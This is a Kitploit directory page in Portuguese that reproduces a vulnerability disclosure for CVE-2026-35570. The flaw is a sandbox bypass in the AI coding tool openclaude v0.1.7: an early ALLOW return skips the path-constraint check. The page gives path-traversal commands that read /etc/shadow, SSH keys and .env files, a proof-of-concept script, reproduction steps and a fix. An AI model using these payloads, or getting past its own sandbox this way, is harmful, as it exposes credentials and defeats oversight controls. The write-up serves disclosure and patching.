Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-35570 — # Escrita detalhada e prova de conceito para CVE-2026-35570, uma bypass de sandbox no openclaude v0.1.7 que permite path traversal para ler e escrever arquivos arbitrários fora da sandbox. | Kitploit
Ferramentas/GitHubGitHub/rickidevs/cve-2026-35570
Análise de VulnerabilidadesAnálise de CódigoExploraçãoSegurança Web
GitHubrickidevs/cve-2026-35570

CVE-2026-35570

# Escrita detalhada e prova de conceito para CVE-2026-35570, uma bypass de sandbox no openclaude v0.1.7 que permite path traversal para ler e escrever arquivos arbitrários fora da sandbox.

Ver Repositório
1há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Quebrando a Sandbox: Como Encontrei um Bypass Crítico de Path Traversal no openclaude

CVE-2026-35570 | CVSS 8.4 (Alto) | openclaude v0.1.7


Nem toda vulnerabilidade exige uma cadeia de exploração sofisticada. Às vezes, uma única instrução return mal posicionada é suficiente para abrir um buraco direto no seu modelo de segurança. É exatamente isso que a CVE-2026-35570 é.

Este write-up cobre um bypass de sandbox que encontrei no openclaude v0.1.7 — uma falha de lógica que permite que payloads de path traversal passem direto pela camada de isolamento do sistema de arquivos sem nunca serem verificados.


Como Encontrei

Eu estava revisando o bashPermissions.ts quando algo no fluxo de controle chamou minha atenção. A lógica de permissão parecia razoável à primeira vista — se estamos em uma sandbox, permitir automaticamente o comando; caso contrário, solicitar ao usuário. Simples o suficiente.

Mas uma pergunta não parava de me incomodar: onde a verificação de restrição de caminho realmente acontece?

Rastreei o bashToolHasPermission() de cima a baixo e mapeei o caminho de execução:

root@kitploit:~
bashToolHasPermission()
    │
    ├─ [~1445] Bloco de auto-permissão da sandbox
    │       └─ Nenhuma regra de negação encontrada → retorna ALLOW  ⚠️ Saída antecipada
    │
    └─ [~1644] checkPathConstraints()              ❌ Nunca alcançado

O bloco da sandbox foi construído para pular prompts interativos de permissão em ambientes sandbox. Totalmente razoável. O problema é que quando ele retorna ALLOW, a função sai ali mesmo. O checkPathConstraints() — a parte realmente responsável por capturar path traversal — nunca é executado.


O Que Está Realmente Acontecendo

Dentro do bashToolHasPermission(), o bloco de auto-permissão da sandbox segue esta lógica:

  1. O sandbox está habilitado? → Sim
  2. A auto-permissão está habilitada? → Sim
  3. Existe uma regra explícita de negação para esta sessão? → Não
  4. → Retorna ALLOW e sai da função

Nesse ponto, o checkPathConstraints() é completamente ignorado. O filtro de path traversal não tem a chance de fazer nada.

Da perspectiva de um atacante, isso significa que comandos como estes passam direto:

root@kitploit:~
cat ../../../../../etc/passwd
cat ../../../../../etc/shadow
cat ../../../../../home/user/.ssh/id_rsa
cat ../../../../../var/app/.env

Todos eles retornam behavior: allow. Sem prompt. Sem bloqueio. Nada.


Impacto

Três coisas se tornam possíveis quando essa falha está presente:

Leituras arbitrárias de arquivos. Qualquer coisa fora do limite da sandbox é alvo válido — /etc/passwd, /etc/shadow, chaves privadas SSH, arquivos .env. Desde que as permissões de nível de sistema operacional permitam, o arquivo pode ser lido.

Escritas arbitrárias de arquivos. A mesma lógica se aplica ao contrário. Um atacante pode escrever em caminhos fora da sandbox, o que abre a porta para sobrescrever arquivos de configuração ou depositar conteúdo em locais inesperados.

Falha completa do isolamento da sandbox. Todo o propósito da sandbox é impor limites ao sistema de arquivos. Com esse bug presente, essa garantia não significa nada.

CVSS v3.1: 8.4 (Alto) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N


A Correção

A correção é conceitualmente simples. O bloco de auto-permissão da sandbox deve suprimir prompts interativos — só isso. Ele nunca deve interromper prematuramente o pipeline completo de permissões.

root@kitploit:~
if (
  SandboxManager.isSandboxingEnabled() &&
  SandboxManager.isAutoAllowBashIfSandboxedEnabled() &&
  shouldUseSandbox(input)
) {
  const sandboxResult = checkSandboxAutoAllow(input, appState.toolPermissionContext);

  if (sandboxResult.behavior !== 'allow') {
    // Só retorna antecipadamente para deny ou ask — nunca pula verificações de caminho em allow
    return sandboxResult;
  }

  // Se allow, continua para checkPathConstraints abaixo
}

// A verificação de path traversal deve sempre ser executada
return checkPathConstraints(input, appState.toolPermissionContext);

A regra prática aqui: a auto-permissão da sandbox pula o prompt, não as verificações de segurança.


Versões Afetadas

CampoDetalhe
Pacoteopenclaude
Versão afetadav0.1.7
Versão corrigidaNenhuma
CVECVE-2026-35570
CVSS8.4 (Alto)

Prova de Conceito

Requisitos

  • Node.js >= 18
  • openclaude v0.1.7

Passo 1 — Clonar e instalar

root@kitploit:~
git clone https://github.com/Gitlawb/openclaude
cd openclaude
git checkout v0.1.7
npm install

Passo 2 — Habilitar o modo sandbox

Inicie o openclaude com as flags de sandbox e auto-permissão definidas:

root@kitploit:~
CLAUDE_SANDBOX=true CLAUDE_AUTO_ALLOW_BASH=true npx openclaude

Os nomes das variáveis podem variar ligeiramente. Verifique a classe SandboxManager para confirmar os mapeamentos exatos das variáveis de ambiente na sua build.

Passo 3 — Executar o script de teste

Salve o seguinte como poc.ts na raiz do projeto:

root@kitploit:~
import { bashToolHasPermission } from './src/tools/BashTool/bashPermissions';
import { SandboxManager } from './src/sandbox/SandboxManager';

// Configurar condições de sandbox
SandboxManager.setSandboxEnabled(true);
SandboxManager.setAutoAllowBashIfSandboxed(true);

// Payload com path traversal
const maliciousInput = {
  command: 'cat ../../../../../etc/passwd'
};

const fakeAppState = {
  toolPermissionContext: {
    allowedPaths: ['/tmp/sandbox'],
    deniedPaths: []
  }
};

const result = bashToolHasPermission(maliciousInput, fakeAppState);

console.log('Resultado:', result.behavior);
// Esperado:  "deny"   — path traversal deve ser bloqueado
// Real:      "allow"  ← vulnerabilidade confirmada

Em seguida, execute:

root@kitploit:~
npx ts-node poc.ts

Passo 4 — Observar a saída

Você verá:

root@kitploit:~
Resultado: allow

O checkPathConstraints() nunca foi chamado. Para confirmar isso por conta própria, adicione uma linha de log no bashPermissions.ts:

root@kitploit:~
// Por volta da linha 1644
function checkPathConstraints(input, context) {
  console.log('checkPathConstraints foi chamado'); // Isso nunca será impresso
  // ...
}

Execute o script novamente. O log não aparecerá — a função está genuinamente sendo ignorada.

Passo 5 — Reproduzir na interface real

Abra o openclaude em uma sessão de sandbox e envie o seguinte comando:

root@kitploit:~
cat ../../../../../etc/passwd

Ele é executado sem nenhum prompt de permissão ou bloqueio, e despeja o conteúdo do /etc/passwd diretamente.


CVE-2026-35570

Baixar ferramenta